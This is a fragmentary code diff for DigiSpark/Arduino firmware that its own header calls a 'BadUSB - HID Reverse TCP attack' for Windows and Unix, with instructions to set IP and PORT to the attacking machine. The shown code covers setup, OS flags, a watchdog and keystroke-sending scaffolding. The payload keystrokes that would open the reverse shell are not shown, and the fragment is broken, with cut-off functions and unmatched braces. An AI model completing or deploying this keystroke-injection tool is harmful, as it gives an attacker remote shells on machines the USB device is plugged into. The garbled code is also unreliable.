 /*
-Code to be run on DigiSpark compatible boards
+ * BadUSB - HID Reverse TCP attack for Win and *Nix OS - Last update 08/12/2016 - Copyright (c) by grcasanova
+ *
+ * change IP and PORT constants to match the attacking machine details
+ *
 */
 
 #include <avr/wdt.h>
+#include <EEPROM.h>
 #include "DigiKeyboard.h"
 
 // define server IP and port
 #define IP "0.0.0.0"
 #define PORT "0"
+#define WIN_FLAG 100
+#define NIX_FLAG 200
 
 static int run;
+unsigned int address = 0;
+const byte interruptPin0 = 0;
+const byte interruptPin1 = 1;
 
 void blinkLed();
 bool win_os();

  wdt_enable(WDTO_4S);
  run = 0;

  // pin setup to blink led
  pinMode(0, OUTPUT); //LED on Model B
  pinMode(1, OUTPUT); //LED on Model A
}

void loop()
{
  wdt_reset();

  if (win_os())  // running on a Windows machine
  {
    DigiKeyboard.update();
    DigiKeyboard.sendKeyStroke(0);

    run++;
}

void blinkLed()
{
  while (true) {
